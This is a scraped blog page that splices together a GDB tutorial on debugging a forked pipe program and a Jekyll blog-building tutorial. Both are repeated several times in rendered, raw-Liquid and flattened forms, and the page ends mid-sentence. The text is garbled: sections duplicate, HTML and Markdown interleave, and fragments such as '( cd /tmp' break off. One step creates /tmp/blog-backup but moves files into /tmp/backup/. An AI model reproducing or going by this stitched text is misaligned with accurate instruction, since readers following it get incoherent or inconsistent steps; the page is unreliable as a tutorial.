    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     end -->
    		
      	</body>
    </html>
    

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
        </h2>
      </li>
    
    </ul>
    

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the Blog with Jekyll for beginners and 2017-02-10 00:00:00 +0000 in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p><p>This article</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/">Inter-process communication using pipe and multiprocess debugging using GDB</a>
          
          <!-- insert this line -->
          <p><p>In this article, we’ll walk through a simple example showing</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/concurrency-vs-parallelism/">Concurrency vs. Parallelism</a>
          
          <!-- insert this line -->
          <p><p>Quoted from <a href="https://www.youtube.com/watch?v=f6kdp27TYZs">Go Concurrency Patterns</a>.</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/04/20/Panic-vs-Return-Error/">Exception handling: panic/exception v.s. return error</a>
          
          <!-- insert this line -->
          <p><p>There are two common ways to handle errors:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/03/23/cheatsheet-go-basics/">A cheatsheet on basic of Go language</a>
          
          <!-- insert this line -->
          <p><p>Quoted from:</p>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/19/Talking-within-Distributed-System-Message-Passing-RPC-RESTful-and-Thrift/">Talking within Distributed System</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>What’s different between communication in distributed system and local machine.</li>
      <li>Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them.</li>
      <li>Two most successful protocol using these two communication idea, i.e. RESTful and Thrift.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/14/Secure-Threats-Buffer-Overflow-Attack-Level-0/">Secure Threats -- Buffer Overflow Attack -- Level 0</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>Our software system is far from robust and safe.</li>
      <li>This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
      <li>
        <h2>
          <a href="/2016/02/11/poison-pill-pattern/">Poison Pill</a>
          
          <!-- insert this line -->
          <p><ul>
      <li>How do producer(s) notify consumer(s) to stop?</li>
      <li>The producer can not simple kill the consumer, since there may be some jobs still in the queue.</li>
      <li>One solution is use poison pill – a special value to notify consumer(s) the end of service.</li>
    </ul>
    
    </p>
          
        </h2>
      </li>
    
    </ul>
    

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    
      <li>
        <h2>
          <a href="/2017/02/10/blog-with-Jekyll-for-beginner/">Blog with Jekyll for beginners</a>
          
          <!-- insert this line -->
          <p>This article
    
    - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
    - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter
    - example blog
    
    ![example-blog](/img/posts/jekyll-blog-demo.gif)
    
    Pre-requists
    
    - Basic understanding of HTML, CSS, JS and their relations
    - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    {% raw %}

    ---
    layout: default
    ---
    
    	
    		{{ page.title }}
    		{{ page.date | date: "%b %-d, %Y" }}
    	
    
    	
    		{{ content }}
    	
    
    

    {% endraw %}

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • {{ foo }} is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, {{ content }} is a variable created by Jekyll, whose value is the actual blog content you composed.
    • In{{ foo | bar }}, the | is just like Unix pipe supporting casacading operations.
    • In {{ foo | bar: v1, v2 }}, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example `````` etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then replace the placeholder {{ content }} in default.html with the whole content of this file(post.html). By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    {% raw %}

    
    
    	{% include head.html %}
    	
    		{{ content }}
      	
    
    

    {% endraw %}

    notice this is a complete HTML file and the {{ content }} placeholder is where the content of post.html should fit into.

    The {% raw %}{% include foo.ext %}{% endraw %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    
    		
    
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    {% raw %}

    
    
    	
    	
    			
    	
    	
    	
    	
    	
    		
    		
    			
    				{{ page.title }}
    				{{ page.date | date: "%b %-d, %Y" }}
    			
    		
    			
    				{{ content }}
    			
    		
    		
    		
      	
    
    

    {% endraw %}

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
        
      
    {% endfor %}
    
    

    {% endraw %}

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the {{ page.title }} and {{ page.date }} in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.excerpt }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    {% raw %}

    ---
    layout: default
    ---
    
    Home page
    
    {% for post in site.posts %}
      
        
          {{ post.title }}
          
          
          {{ post.content | strip_html | build_preview }}
          
        
      
    {% endfor %}
    
    

    {% endraw %}

    We see that instead of using Jekyll’s built-in post.excerpt tag, we use customized filter build_preview with content of post as input, to create the post preview on home page. The filter strip_html is used to remove html tags so that the preview could be rendered correctly.

    Run Jekyll local server

    jekyll server
    

    And you should see the change.

    </p>

    </h2>
    

    </li>

  • Blog with Jekyll for beginners

    This article - shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills) - use [Liquid](https://github.com/Shopify/liquid) and [Jekyll plugin](https://jekyllrb.com/docs/plugins/) to customize article previews front matter - example blog ![example-blog](/img/posts/jekyll-blog-demo.gif) Pre-requists - Basic understanding of HTML, CSS, JS and their relations - Ruby experience or other programming experience to pick up Ruby quickly ( cd /tmp > jekyll new my-blog New jekyll site installed in /private/tmp/my-blog. ``` By running the last command, you have created a directory organized in a way that Jekyll could create static website from. ## Create a post Before all, let's remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same. ``` > mkdir /tmp/blog-backup > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/ ``` ### Layout #### Post layout Now let's create a **layout** for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content. **Jekyll is great to separate layout/template from contents.** We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid. Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website. This may sound abstract, let's have a dry run! ``` > cd my-blog > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html ``` This is the simple post HTML. ```html --- layout: default --- {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` **Now, stop reading and check out [Liquid for designers](https://github.com/Shopify/liquid/wiki/Liquid-for-Designers) to get a basic understanding of these curly brackets.** If you did read the article, you should understand - ```{{ foo }}``` is nothing but a placeholder, Liquid will later replace variable ```foo ``` with its actual value. For example, ```{{ content }}``` is a variable created by Jekyll, whose value is the actual blog content you composed. - In```{{ foo | bar }}```, the ```|``` is just like Unix [pipe](https://en.wikipedia.org/wiki/Pipeline_(Unix)) supporting casacading operations. - In ```{{ foo | bar: v1, v2 }}```, the ```: v1, v2``` is the input arguments for filter ```bar```. Now you may have two questions: - The HTML file is incomplete, for example `````` etc. are missing, - The first three lines of ```post.html``` is mistery, so let's move on. #### The complete layout At this point, you may be wondering what the heck is that on top of the file: ``` --- layout: default --- ``` Jekyll use [YAML](https://en.wikipedia.org/wiki/YAML) to manage meta data of your web pages. This ```layout: default``` tells Jekyll to search for ```default.html``` in directory ```_layout```, and then **replace the placeholder ```{{ content }}``` in ```default.html``` with the whole content of this file(```post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way. Now let's create file ```_layout/default.html``` with following content: ```html {% include head.html %} {{ content }} ``` notice this is a complete HTML file and the ```{{ content }}``` placeholder is where the content of ```post.html``` should fit into. The {% raw %}```{% include foo.ext %}```{% endraw %}s are straightforward, they will be replaced by contents of ```_include/foo.ext```. Let's create file ```_include/head.html``` with following content: ```html ``` This header has many things missing, but it works for our most simple blog. Therefore, after replacing everything, the actual HTML file for posts will be ```html {{ page.title }} {{ page.date | date: "%b %-d, %Y" }} {{ content }} ``` ### Edit home page We will create an extremely simple home page first, which contains a list of your blog posts. ``` vim index.html ``` Put the following content in your home page. ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {% endfor %} ``` It's okay if you don't understand ```prepend: site.baseurl```. The most important thing is Jekyll will search for all files under directory ```_post``` and insert their URLs in hyper links. ### Edit blog content Finally, we could create our blog post. You could change the name of the blog, but the name must - have a format ```YYYY-mm-dd-blog-name.ext``` - the ```ext``` has to be one of ```.md```, ```.markdown``` etc. Here is an example: ``` vim _post/2017-02-10-first-blog.md ``` Now put the content in your blog post ``` --- layout: post title: first blog date: 2017-01-20 --- # Title ## Second-level title some content ``` This tells Jekyll use ```post.html``` as the layout, which recursively use ```default.html```. Remember the ```{{ page.title }}``` and ```{{ page.date }}``` in ```post.html```? Here is where we define the value of these variables. ## Time for a demo Now let's run a local server to see how our first blog looks like. ``` jekyll server ``` In your browser, use address ```localhost:4000``` to see your blog site. #### Moving on Believe me, you have mastered essential skills for creating a great website with Jekyll. The best way to step forward is downloading some nice Jekyll template and figure out how it is composed. Here is the [source code]() of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy. # Customize article preview front matter with Jekyll plugin ## Default article preview front matter Jekyll comes with default article preview tag -- ```post.excerpt```. Modify our ```index.html``` page: ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.excerpt }} {% endfor %} ``` We added a paragraph section to home page, which is a preview created by Jekyll ```post.excerpt``` tag. What it does is cut the first paragraph of the post. ## Customize article preview behavior To have a fully customized preview tool, we have to create a Jekyll plugin. There are multiple ways to create and use such plugins [(more details)](http://jekyllrb.com/docs/plugins/#installing-a-plugin). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under ```_plugins``` directory. Let's see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter ```truncate```. But for the purpose of this article, we'll instead create our dumb little Jekyll plugin. Create a Ruby file under ```_plugin``` directory. ``` mkdir _plugins vim _plugins/example.rb ``` Put in following contents: ```ruby module Jekyll module PreviewFilter def build_preview(content) return content[0, 10] end end end Liquid::Template.register_filter(Jekyll::PreviewFilter) ``` The ```build_preview``` function is straightforward. The other code is just tell Jekyll to register this filter in global scope. Just as a supplementary, I suggest reading [this paragraph]([Jekyll plugin#liquid filters](http://jekyllrb.com/docs/plugins/#liquid-filters)). ## Time for a demo Now let's change our ```index.html``` ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.content | strip_html | build_preview }} {% endfor %} ``` We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly. Run Jekyll local server ``` jekyll server ``` And you should see the change.

  • Inter-process communication using pipe and multiprocess debugging using GDB

    In this article, we’ll walk through a simple example showing how to use unix pipe for inter-process communication how to debug a program of three processes using GDB Pre-requists experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro) experience using GDB, know how to set breakpoints (checkout GDB tutorial) c language readability (espicially fork, exec) understand I/O redirect (checkout man dup) The problem The problem is to load two pre-built programs stream the output of the first program to the second one print the result of the second program print a finish sentence when both programs finish For example, we want to mimic the action of such bash command: /bin/ls | /bin/sort The first version Our very first version almost works, it sets up a pipe for later inter-process communication forks two processes modifies pipe for each process, so that the input/output is correctly redirected loads the pre-built programs to the processes prints the finish sentence The C file is here. Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work. gcc -o first first.c ./first /bin/ls /usr/bin/sort Here is the output: Run two programs succeeded! README.md a.out first first.c And this the output of pipe in terminal: /bin/ls | /usr/bin/sort README.md a.out first first.c We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end. This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs. To fix the problem, let’s move on to second version. The second version At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish. The second version is at here. Notice the only difference is two additional lines (105-106). Compile and run: gcc -o second second.c ./second /bin/ls /usr/bin/sort We will find the program never finishes! Instead of telling you why the program breaks, we will use GDB to find out the reason together. Compile the program again with debug information and use GDB to execute the program: gcc -g -O0 -o second second.c gdb --args second /bin/ls /usr/bin/sort Before everything, let’s set detach-on-fork environment variable of GDB to off. set detach-on-fork off By doint this, we could switch between processes easily. More details on this environment at here. Now let’s set breakpoint at right before waitpid system call and run the program (gdb) br second.c:105 Breakpoint 1 at 0x400b27: file second.c, line 105. (gdb) r ... Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105 105 waitpid(pid1, NULL, 0); Now use next command of GDB to step through the functions. (gdb) n 106 waitpid(pid2, NULL, 